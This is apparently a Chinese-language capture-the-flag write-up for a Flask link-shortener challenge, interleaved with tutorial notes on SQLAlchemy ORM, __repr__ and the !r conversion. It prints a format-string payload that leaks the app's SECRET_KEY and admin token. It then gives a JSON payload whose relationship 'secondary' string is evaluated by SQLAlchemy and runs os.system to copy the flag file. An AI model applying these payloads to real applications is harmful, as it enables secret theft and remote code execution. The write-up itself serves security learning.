题目描述: A fast and reliable link shortener service, with a new feature to add private links!
我们走一遍逻辑
注册
@app.route("/register", methods=['GET', 'POST'])
def register(): """ 用户注册路由,处理用户注册请求,验证用户名唯一性并保存用户信息到数据库 """create_tables() if request.method == "POST": # 从表单中获取用户信息 name = request.form["name"] password = request.form["password"] email = request.form["email"] with Session() as session: # 检查用户是否已存在 existing_user = session.query(Users).filter_by(name=name).first() if existing_user: return statusify(False, "User already exists") # 对密码进行哈希处理 hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8") # 创建新用户 new_user = Users(name=name, hashed_pw=hashed_password, email=email) session.add(new_user) session.commit() return statusify(True, "Account successfully created.") return render_template("register.html")
登录
@app.route("/login", methods=['GET', 'POST'])
def login(): """ 用户登录路由,处理用户登录请求,验证用户名和密码 """ if request.method == "POST": # 从表单中获取用户信息 name = request.form["name"] password = request.form["password"] with Session() as session: # 查询用户 user = session.query(Users).filter_by(name=name).first() if user and bcrypt.checkpw(password.encode("utf-8"), user.hashed_pw.encode("utf-8")): # 登录用户 login_user(user) return statusify(True, "Logged in") else: return statusify(False, "Invalid Credentials") return render_template("login.html")
这里不太对,返回是拼上去的,我们可以控制元组,我可以控制他们为函数吗?
from typing import Optional
from sqlalchemy import ForeignKey, String
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column
from flask_login import UserMixin # 定义 SQLAlchemy 的基类,所有模型类都将继承自这个基类
class Base(DeclarativeBase): pass # 定义 Links 模型类,对应数据库中的 links 表
class Links(Base): # 指定数据库表名 __tablename__ = "links" # 定义主键字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定义 url 字段,存储链接的 URL url: Mapped[str] # 定义 path 字段,存储链接的路径 path: Mapped[str] # 定义对象的字符串表示形式,方便调试和打印对象信息 def __repr__(self) -> str: return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self) # 定义 Users 模型类,对应数据库中的 users 表,同时继承 UserMixin 以支持 Flask-Loginclass Users(Base, UserMixin): # 指定数据库表名 __tablename__ = "users" # 定义主键字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定义 name 字段,最大长度为 30 name: Mapped[str] = mapped_column(String(30)) # 定义 email 字段,可为空 email: Mapped[Optional[str]] # 定义 hashed_pw 字段,存储用户的哈希密码 hashed_pw: Mapped[str] # 定义对象的字符串表示形式,方便调试和打印对象信息 def __repr__(self) -> str: return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self) # 定义 PrivateLinks 模型类,对应数据库中的 privatelinks 表
class PrivateLinks(Base): # 指定数据库表名 __tablename__ = "privatelinks" # 定义主键字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定义 url 字段,存储链接的 URL url: Mapped[str] # 定义 path 字段,存储链接的路径 path: Mapped[str] # 定义外键字段 user_id,关联到 users 表的 id 字段 user_id: Mapped[int] = mapped_column(ForeignKey("users.id")) # 定义对象的字符串表示形式,方便调试和打印对象信息 def __repr__(self) -> str: return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
@app.route("/user/create", methods=['GET'])
@login_required
def create_private(): """ 创建私有链接的路由,需要用户登录,验证 URL 有效性,生成唯一路径并保存到数据库 """ with Session() as session: # 查询当前用户 user:Users = session.query(Users).filter_by(name=current_user.name).first() print(user.name) # 从请求参数中获取 URL url = request.args.get("url", default=None) # 验证 URL 是否有效 if url is None \ or len(url) > 130 \ or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url): return statusify(False, "Invalid Url") # 生成路径 path = gen_path() # 确保路径对当前用户唯一 while any([link.path == path for link in session.query(PrivateLinks).filter_by(path=path, user_id=user.id).all()]): path = gen_path() # 将新私有链接添加到数据库 session.add(PrivateLinks(url=url, path=path, user_id=user.id)) session.commit() return statusify(True, "user/" + path)
然后重定向
@app.route("/<path:path>", methods=['GET'])
def handle_path(path): """ 处理公共链接路径的路由,根据路径查询数据库并重定向到对应的 URL""" with Session() as session: # 根据路径查询链接 link: Links = session.query(Links).filter_by(path=path).first() if link is None: return redirect("/") return redirect(link.url)
flag在随机位置,这意味着我必须执行任意代码或者获得文件任意文件读取
RUN mv /tmp/flag.txt /$(head -c 16 /dev/urandom | xxd -p).txt
这个看着很怪
# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")
没看出来漏洞 …
赛后 -----------------------------------------------------------------------------------------------------------
SQLAlchemy ORM是什么?
我们可以用一个 「仓库管理员」 的比喻,来形象地理解 SQLAlchemy ORM:
想象场景:
你有一个巨大的仓库(数据库),里面堆满了各种货物(数据)。仓库的货架结构复杂,每个货架对应一张表格(数据库表),比如「图书货架」「用户货架」等。传统方式中,如果你想存取货物,必须手动填写复杂的单据(写SQL语句),比如:
SELECT * FROM 图书货架 WHERE 价格 > 50; -- 手动写SQL查询
但有了 SQLAlchemy ORM,仓库里会出现一个聪明的 「机器人管理员」,它帮你把仓库的复杂结构翻译成你熟悉的 Python 对象和代码!
机器人管理员(ORM)的工作方式:
-
用Python类定义货架结构:
你不再需要记住货架的复杂布局,而是用 Python 类描述货架:class 图书(Base):__tablename__ = '图书货架' # 对应数据库表名id = Column(Integer, primary_key=True) # 货架上的编号书名 = Column(String)价格 = Column(Integer)
这个类就像一张「设计图」,告诉机器人管理员仓库里「图书货架」长什么样。
-
用Python对象操作货物:
- 存数据:不再写
INSERT INTO 图书货架...
,而是创建一个 Python 对象:新书 = 图书(书名="Python编程", 价格=99)
- 取数据:不再写
SELECT * FROM 图书货架
,而是用 Python 语法查询:贵书 = session.query(图书).filter(图书.价格 > 50).all()
- 存数据:不再写
-
机器人自动翻译:
机器人管理员(ORM)会默默将你的 Python 操作翻译成 SQL 语句,像这样:session.add(新书) # 机器人翻译成:INSERT INTO 图书货架 (书名, 价格) VALUES ('Python编程', 99); session.commit() # 提交更改到仓库
__repr__
在 Python 中,__repr__
是一个特殊的魔术方法(magic method),用于定义对象的“官方”字符串表示形式。它的目标是返回一个明确的、通常可执行的表达式字符串,理论上可以用这个字符串重新创建该对象。
核心作用
-
调试友好
当你在交互式环境(如 Python Shell)中直接打印对象,或使用repr(obj)
函数时,会调用__repr__
。它的输出应帮助开发者明确对象的状态。 -
重建对象
最佳实践是让__repr__
返回的字符串看起来像有效的 Python 代码,以便通过eval(repr(obj))
重新生成对象(如果安全且可行)。
示例代码
class Person:def __init__(self, name, age):self.name = nameself.age = agedef __repr__(self):return f"Person(name='{self.name}', age={self.age})"p = Person("Alice", 30)
print(p) # 输出:Person(name='Alice', age=30)
-
未定义
__repr__
时的默认行为
默认继承自object
类的__repr__
会返回类似<__main__.Person object at 0x7f8b1c1e3d90>
的无意义信息。 -
定义
__repr__
后
输出更清晰的字符串,直接反映对象的关键属性。
与 __str__
的区别
方法 | 调用场景 | 目标受众 | 默认行为 |
---|---|---|---|
__repr__ | repr(obj) 、直接输入对象名 | 开发者(调试) | 返回类名和内存地址 |
__str__ | str(obj) 、print(obj) | 终端用户 | 默认回退到 __repr__ |
- 优先级
若未定义__str__
,Python 会使用__repr__
作为备用。
最佳实践
-
明确性
输出应包含足够的信息以重建对象(如类名和关键参数)。 -
可执行性(可选)
理想情况下,eval(repr(obj))
应返回等价对象(需确保安全性)。 -
格式化规范
通常返回f"{self.__class__.__name__}(...)"
风格的字符串。
!r
在Python中,!r
是一种字符串格式化的转换符,用于在格式化字符串时调用对象的 repr()
方法。它的作用是将对象转换为“官方字符串表示”,通常用于调试或需要明确显示对象类型信息的场景。
核心作用
!r
会在格式化时调用对象的repr()
方法,生成一个明确且无歧义的字符串表示。- 与之相对的
!s
会调用str()
方法(生成用户友好的字符串表示),而!a
会调用ascii()
方法(生成ASCII安全的表示)。
使用场景
!r
常用于以下情况:
- 调试输出:显示变量的精确类型和内容(例如字符串的引号会被保留)。
- 需要明确对象信息:比如在日志中记录对象的结构或类型。
示例
name = "Alice"
print(f"普通输出: {name}") # 输出: Alice
print(f"使用!r: {name!r}") # 输出: 'Alice'(调用 repr(name))
class Person:def __repr__(self):return "Person()"p = Person()
print(f"{p}") # 输出: Person()(默认调用 __str__,若未定义则调用 __repr__)
print(f"{p!r}") # 显式调用 __repr__: Person()
当我们将如下链接缩短时
http://fake.com/{self._sa_registry.__init__.__globals__[Mapper].__init__.__globals__[sys].modules[__main__].app.config}
在all路由中将能看到这样的情况
"Link(id=3, url='http://fake.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '6bb16f1e31c759004f3d1df627bbaea43e9ed2d32612ad5e302685ad9b74ad1ec1ea79682d7c088d1f53ce54ff14c6370843206629b7ac6cdd0f73a1bfba8e3b', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///./db/links.db', 'TOKEN': 'b0d9c8f82a36c3314a1afab0171264bfcb6e220782517fe9c3d5d59a12bae5f64093e93d8c00d900200f94549608003fd3a81cbf16733ce336fb14cabae044e7'}\u003E', path='gVTQ')"
这是因为格式化字符串被二次解析
f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
f_str = f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})"
return f_str.format(self=self)
接下来我们可以访问configure路由并篡改ukwargs
# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")
这意味这我们可以控制 relationship 的参数
def create_tables():# 创建数据库检查器inspector = inspect(engine)if 'users' not in inspector.get_table_names():# 如果用户表不存在,定义用户和私有链接的关系并创建用户表Users.private_links = relationship("PrivateLinks", **ukwargs)Users.__table__.create(engine)if 'privatelinks' not in inspector.get_table_names():# 如果私有链接表不存在,定义私有链接和用户的关系并创建私有链接表PrivateLinks.users = relationship("Users", **pkwargs)PrivateLinks.__table__.create(engine)
基本关系模式 — SQLAlchemy 2.0 文档
Using a late-evaluated form for the “secondary” argument of many-to-many
Many-to-many relationships make use of the relationship.secondary
parameter, which ordinarily indicates a reference to a typically non-mapped Table
object or other Core selectable object. Late evaluation using a lambda callable is typical.
For the example given at Many To Many, if we assumed that the Table
object would be defined at a point later on in the module than the mapped class itself, we may write the relationship()
using a lambda as:association_table
class Parent(Base):
tablename = “left_table”
id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship("Child", secondary=lambda: association_table
)
As a shortcut for table names that are also valid Python identifiers, the relationship.secondary
parameter may also be passed as a string, where resolution works by evaluation of the string as a Python expression, with simple identifier names linked to same-named Table
objects that are present in the same MetaData
collection referenced by the current registry
.
In the example below, the expression is evaluated as a variable named “association_table” that is resolved against the table names within the MetaData
collection:"association_table"
class Parent(Base):
tablename = “left_table”
id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship(secondary="association_table")
Note
When passed as a string, the name passed to relationship.secondary
must be a valid Python identifier starting with a letter and containing only alphanumeric characters or underscores. Other characters such as dashes etc. will be interpreted as Python operators which will not resolve to the name given. Please consider using lambda expressions rather than strings for improved clarity.
Warning
When passed as a string, relationship.secondary
argument is interpreted using Python’s function, even though it’s typically the name of a table. DO NOT PASS UNTRUSTED INPUT TO THIS STRING.eval()
secondary
是 SQLAlchemy 中用于定义多对多关系的“中间人”,它指向一个关联表(Association Table),告诉 ORM 如何通过这个中间表连接两个主表。
举个现实例子
想象你要管理一个 学生选课系统:
- 学生表(
students
):记录学生信息 - 课程表(
courses
):记录课程信息 - 关联表(
enrollments
):记录哪个学生选了哪门课(学生ID + 课程ID)
这里的 enrollments
就是 secondary
指向的中间表。通过它,一个学生可以选多门课,一门课也可以被多个学生选。
代码解析 🔍
# 1. 定义中间表(secondary 指向它)
enrollments = Table("enrollments",Base.metadata,Column("student_id", ForeignKey("students.id")),Column("course_id", ForeignKey("courses.id"))
)# 2. 在学生表中定义多对多关系
class Student(Base):__tablename__ = "students"id = Column(Integer, primary_key=True)# ▼ 关键:通过 secondary 指定中间表 ▼courses = relationship("Course", secondary=enrollments)# 3. 课程表无需特殊定义
class Course(Base):__tablename__ = "courses"id = Column(Integer, primary_key=True)
secondary
的作用 🛠️
-
自动管理关联表
当你操作student.courses.append(course)
时,SQLAlchemy 会自动在enrollments
表中插入关联记录。 -
查询导航
可以直接通过student.courses
获取学生选的所有课程,无需手动写 JOIN 查询。 -
解耦主表
学生表和课程表无需直接包含对方的信息,所有关联逻辑由中间表处理。
为什么需要它? 🤔
- 多对多关系的本质:直接在主表中无法表达“一个学生选多门课,一门课有多个学生”的关系。
- 中间表必要性:必须通过第三个表存储关联关系(类似现实中的购物车记录订单和商品的关系)。
secondary 会在eval中解析
ukwargs={"back_populates": "users","secondary": "__import__('os').system('cp /f* templates/sponsors.html')"
}
最后访问 /register 触发
@app.route("/register", methods=['GET', 'POST'])
def register():# 调用创建表的函数create_tables()
再访问/sponsors